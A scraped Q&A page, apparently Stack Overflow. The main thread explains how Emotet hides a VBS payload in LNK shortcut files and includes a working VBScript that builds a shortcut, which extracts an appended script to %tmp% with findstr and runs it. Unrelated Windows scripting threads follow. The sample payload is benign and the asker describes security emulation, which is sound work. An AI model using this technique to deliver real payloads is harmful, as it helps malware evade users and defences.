Appending Data to LNK Shortcut File [Emotet TTP] - windows

There has been a rise in the use of LNK shortcut files to deliver malware, in particular Emotet. Within the LNK file is a payload (usually a VBS script) that is found with findstr.exe. The payload is saved to a file and then run. For example, findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”
Security researchers say it is possible to append data to a LNK file without disrupting its functionality. So in the case of Emotet, a VBS script is being appended. I am attempting to create a benign LNK file that would mimic Emotet's activity.
How are these threat actors appending data to LNK shortcut files? I have crafted my own LNK file with PowerShell that simply opens calc.exe. With the use of a hex editor I attempted to add a simple script, but to no avail.
EDIT: To clarify, I work for a cyber security company and am trying to test my company's security posture through emulating this type of activity.
My question is based off the following article - Rise of LNK Shortcut Files

It looks like you can append any data you want to a .lnk file and Windows does not care. That being said, the .lnk binary file format is documented and you can embed custom datablocks if you really want the .lnk file to follow the spec. To do that it helps to use C or some other language that supports COM. Here I'm just using VBScript to generate the .lnk for simplicity.
GenerateLnk.vbs:
Set WShell = WScript.CreateObject("WScript.Shell")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
lnkfilename = "SO_Vir_Test.lnk"
set lnk = WShell.CreateShortcut(FSO.BuildPath(FSO.GetParentFolderName(WScript.ScriptFullName), lnkfilename))
lnk.TargetPath = FSO.BuildPath(WShell.ExpandEnvironmentStrings("%windir%"), "system32\cmd.exe")
lnk.IconLocation = "shell32.dll,1" ' Why not :)
magic = "Ev1LStArTsH3re"
lnk.Arguments = "/C findstr """+magic+".*"" """+lnkfilename+""" > ""%tmp%\Evil.vbs""&wscript ""%tmp%\Evil.vbs"""
lnk.Save
WShell.Exec("cmd.exe /C >>"""+lnk+""" echo.") ' Newline to separate the script from the lnk data, otherwise findstr will include binary junk
WScript.Sleep(500) ' Hack to wait for the previous command, I'm sure there is a better way
WShell.Exec("cmd.exe /C >>"""+lnk+""" echo "+magic+"=1::on error resume next::WScript.Echo(""Hello World"")::WScript.Quit(0)")
Paste the code into a .vbs file and execute it to generate a .lnk shortcut. When you execute this shortcut it will launch cmd.exe and cmd.exe will execute findstr "Ev1LStArTsH3re.*" "SO_Vir_Test.lnk" > "%tmp%\Evil.vbs"&wscript "%tmp%\Evil.vbs". Breaking this down, findstr will find the line that starts with our magic (Ev1LStArTsH3re) inside the .lnk and output that line to stdout. We have redirected stdout to a .vbs file in %temp%. After findstr is done we simply execute the .vbs file we just created. This .vbs file will just show a MessageBox but you could make it do something evil instead.
The big flaw with this exploit is that the user cannot rename the .lnk file before executing it! If the user renames the .lnk the findstr will fail and the whole thing falls flat on its face.
The other two examples in the McAfee blog you linked to simply executes some Powershell command and don't really do anything unusual with the .lnk file.

Go to this page:
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943
Where you can download:
[MS-SHLLINK]: Shell Link (.LNK) Binary File Format
The file format allows data to be included in structures/sections that are never revealed by the file's Properties dialog or any of the properties available to the com object created by wscript.shell.
Likely suspects:
1.7 Vendor-Extensible Fields
A shell data source can extend the persistence format by storing custom data inside ItemID structure.
The ItemIDs embedded in an IDList are in a format specified by the shell data sources that manage the ItemIDs. The ItemIDs are free to store whatever data is needed in this structure to uniquely identify the items in their namespace.
The property store embedded in a link can be used to store property values in the shell link.
or perhaps:
2.4 StringData
StringData refers to a set of structures that convey user interface and path identification information. The presence of these optional structures is controlled by LinkFlags (section 2.1.1) in the ShellLinkHeader (section 2.1).
or...
2.5 ExtraData
ExtraData refers to a set of structures that convey additional information about a link target. These optional structures can be present in an extra data section that is appended to the basic Shell Link Binary File Format.
There's a lot to digest...Good luck!!!

This isn't a complete solution - it provides background information and eventually turned into a roadmap to the other answers here:
To rule out a misconception (which I had): The exploit you're referring to is based on embedding / appending data when the LNK file (extension .lnk, a Windows shortcut file) is constructed, not when the LNK file is later opened by the users.
That is, the malicious code is already contained in the LNK file, albeit hidden from the casual observer.
Opening the LNK file - which requires explicit user action - runs a command that itself appears nondescript / harmless (findstr ...), but extracts the malicious code contained in the LNK file itself to a VBS file (.vbs, a VBScript) and executes the latter.
The article you link to doesn't discuss how the malicious code that is extracted to a VBS script is stored inside the LNK file, but there are two possibilities:
Keith Miller's answer discusses the binary file format of LNK files, which supports embedding arbitrary user-defined data. Anders states that the ExtraData field (section 2.5) is the logical choice, as it allows storing arbitrary data that isn't visible in the Properties dialog / via the WScript.Shell COM API. You'll need to construct such LNK files programmatically, using a lower-level language that has access to all COM APIs, such as C/C++.
Anders' answer shows that you can even more simply append data in an unstructured manner to an existing LNK file without breaking its functionality.
Anders' answer shows how to use VBScript to construct the LNK file, but it's even possible to use the GUI to manually create the LNK file and then use simple shell commands using >> (cmd.exe) / Add-Content (PowerShell) to append the malicious code.

Related

How to keep the value of a global variable next time the script is run?

I have a VBScript file, that's called from another, which has some global variables defined, something like Dim var="whatever" outside of every function and sub. Those variables might change, maybe an instruction like var="whatever2" and their new values might be used in some calls that the other VBScript file does. But problem is that everytime the file is called their values are reset to the ones that are shown in the place where the global values are defined, so it takes the same values again.
I see two ways to solve this: One to create a text file where all actual correct values are written and then when the script is called read them from that text file, although I guess there has to be a better way. The other is to keep on using parameters for the calls, but this would likely complicate the application a lot, that's precisely the reason to use global variables, so I don't think it's a real option. I also think getting to set the values in a function wouldn't help much as they would be reseted afterwards anyway.
Any idea on how something like what I'm telling could be done?
Global variables only live as long as their process is running. If you need to persist the values of these variables so they're available when the script is run again later on you need to store them elsewhere.
The canonical methods are saving the values to a file:
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("C:\path\to\mystate.txt")
f.Write "var1=" & var1
f.Write "var2=" & var2
...
f.Close
or to the registry:
Set sh = CreateObject("WScript.Shell")
sh.RegWrite "HKCU\Software\mystate\var1", var1, "REG_SZ"
sh.RegWrite "HKCU\Software\mystate\var2", var2, "REG_DWORD"
...
However, if you only need them to be available during the current user session, you could also use the volatile environment:
Set sh = CreateObject("WScript.Shell")
Set env = sh.Environment("VOLATILE")
env("mystate_var1") = var1
env("mystate_var2") = var2
...
The volatile environment is only available for the current user and will vanish when the user logs off.
Consider using COM objects as your slave objects.
Script Components make vbscript COM objects. WSF script files hold many scripts in one file and can reference other files.
From Help
Windows® Script Components provide you with an easy way to create powerful, reusable COM components in script. You create script components using any scripting language that supports the Microsoft® ActiveX® Scripting interfaces. Script languages that support these interfaces include JScript, Microsoft® Visual Basic® Scripting Edition (VBScript), PERLScript, PScript, and Python.
COM Support
This new script component technology supports common types of COM components, such as Automation, and is extensible with add-ons such as DHTML behaviors.
Script Components:
Are small and efficient.
Are easy to create, maintain, and deploy.
Provide the ability to create COM components.
Provide access to a broad range of system services.
Using script components, you can create COM components for a variety of tasks, such as performing middle-tier business logic, accessing and manipulating database data, adding transaction processing to applications, and adding interactive effects to a Web page using DHTML Behaviors
and wsf files.
A Windows script (*.wsf) file is a text document containing Extensible Markup Language (XML) code. It incorporates several features that offer you increased scripting flexibility. Because Windows script files are not engine-specific, they can contain script from any Windows Script compatible scripting engine. They act as a container.
Additional Features
.wsf files support You can
Include statements
Incorporate functions from VBScript or JScript files into your Windows Script Host project.
Multiple engines
Use more than one scripting language per file.
Type libraries
Add constants to your code.
Tools
Edit files with any XML editor.
Multiple jobs in one file
Store all of your code in a single location

Executable Files - how to identify them in ASCII

It looks like all EXE files begin with MZ when they are opened in ASCII mode, is there an ASCII identified for vbs, com and bat files as well? i can't seem to find a pattern...
Or maybe there's another way to identify them? aside from just the extension...
No, not really (Windows executables can have PE or PK at the beginning instead of MZ - see this for other possible formats).
For other types of files, there are certain heuristics you can use (e.g. GIF files start with "GIF89", Bash shell scripts usually start with #!/bin/bash, BAT files often execute #echo off at the beginning, VBS scripts use apostrophe at the start of line as a comment marker), but they aren't always 100% reliable (a file can be both a BAT script and a Bash shell script; or a file that's both a valid ZIP archive and a valid GIF image (like that stegosaurus image), for example).
See e.g. this article for further reading.
TrID seems to have a "standalone" application you could probably use and pass the file in and read the contents out and see what file it is. It prides itself on the ability to pass it a generic file (extension or without) and it uses the headers of the file to discover what file type it actually is.
See if this tutorial is helpful (How to detect the types of executable files 3 part series). He has even presented a step by step algorithm on how to do this.
Also see this post: How to determine if a file is executable?

Copy Update Create VBScript

Please help me to acheive the following using VBScript
1.Messagebox with three tabs Copy,Update,Cancel and displaying "Welcome to the AVG
definition fies copier/updater module.Click on Copy to copy files or Update to update
definition files.
2.If copy selected,the drive letter from where the script is run(usb drive) stored as
variable,directory "(usb drive)Update" created if not exist,new and files not existing
in update folder copied to(eg=xcopy /d), from
"%allusersprofile%\applic~1\avg8\update\download"
3.If possible display message 'copying files, while copying.After completion of
copying display 'Files copied successfully'.
4.If update selected,tdirectory "c:\Update" created if not exist,new and files not
existing in "c:\Update" copied to, from (usb drive) update folder
5.If possible display message 'Updating files' while copying.After completion of
updating, display 'Files Updated successfully'.After clicking OK exit and start
"C:\progra~1\avg\avg8\avgui.exe"
Well, the way that I would do it is to make stand alone functions for each of the functional tasks that you have then wrap those functions inside an HTA to give you the interface layer that you want.
As I understand from your other question, you managed to find solutions to most of these tasks yourself. Here's a tip for your #2, which I haven't noticed implemented in that your script.
2.If copy selected,the drive letter from where the script is run(usb drive) stored as variable
You can retrieve the full path of the current script file using the WScript.ScriptFullName property and then use the FileSystemObject.GetDriveName method to extract the drive letter:
Set objFSO = CreateObject("Scripting.FileSystemObject")
strUSBDrive = objFSO.GetDriveName(WScript.ScriptFullName)
This will give you the drive letter followed by a colon (e.g. J:). You can then concatenate this value with the target folder name to get the full path, e.g.:
MsgBox strUSBDrive & "\Update"

How can I tell if a file has the Windows "hidden bit" in Emacs?

I use Emacs on various platforms. When I use it on Windows, I don't want files with the "hidden attribute" to show on ido-find-file, dired, etc. I can't seem to find any function in Emacs that can tell me whether a file has the hidden bit or not (file-attributes doesn't seem to, from the help page).
Any ideas?
There's no specific elisp function that will tell you whether or not a file's hidden attribute is set on Windows. However, you can write an elisp function that invokes the Windows attrib command and parses its output. For example, (shell-command-to-string "attrib c:\\foo.txt") would return a string like A HR c:\\foo.txt (in this particular example, the file has three attributes set: archive, read-only, and hidden). At that point, you just need to look for the H in the string that attrib returns to determine whether or not the file is hidden.

Why Windows sets new created file's "created time" property to old time?

Trying this I have found a strange problem:
Delete an old file.
Create a new file and name it the same as the old file.
Then the "created time" property of the new file is set to the "created time" of the old file. Why does that happen? And how?
It's due to file system tunnelling, as explained by Raymond Chen:
"Why does tunneling exist at all?
When you use a program to edit an existing file, then save it, you expect the original creation timestamp to be preserved, since you're editing a file, not creating a new one. But internally, many programs save a file by performing a combination of save, delete, and rename operations (such as the ones listed in the linked article), and without tunneling, the creation time of the file would seem to change even though from the end user's point of view, no file got created.
As another example of the importance of tunneling, consider that file "File with long name.txt", whose short name is say "FILEWI~1.TXT". You load this file into a program that is not long-filename-aware and save it. It deletes the old "FILEWI~1.TXT" and creates a new one with the same name. Without tunnelling, the associated long name of the file would be lost. Instead of a friendly long name, the file name got corrupted into this thing with squiggly marks. Not good."
The NT file system does not delete a file when you think it does. When you delete a file on an NT file system the operating system simply marks the disk space that file occupied as available. The file will not be truly deleted until another file is written to that location on disk.
As to why Windows would think it was the same exact file I believe this is due to the fact that the file was empty when you deleted it so creating a new file in the same location with the same name and the same (empty) contents makes Windows think it is in fact the same file. I would consider this to be a bug.
As a side note, the fact that Windows handles file deletes in this way is the very reason that you are able to use file-recovery utilities to recover deleted files.
You can update creation time with this command manually:
powershell (ls YourFile.txt).CreationTime = Get-Date
... and the same in a batch file:
call powershell "(ls YourFile.txt).CreationTime = Get-Date"

Resources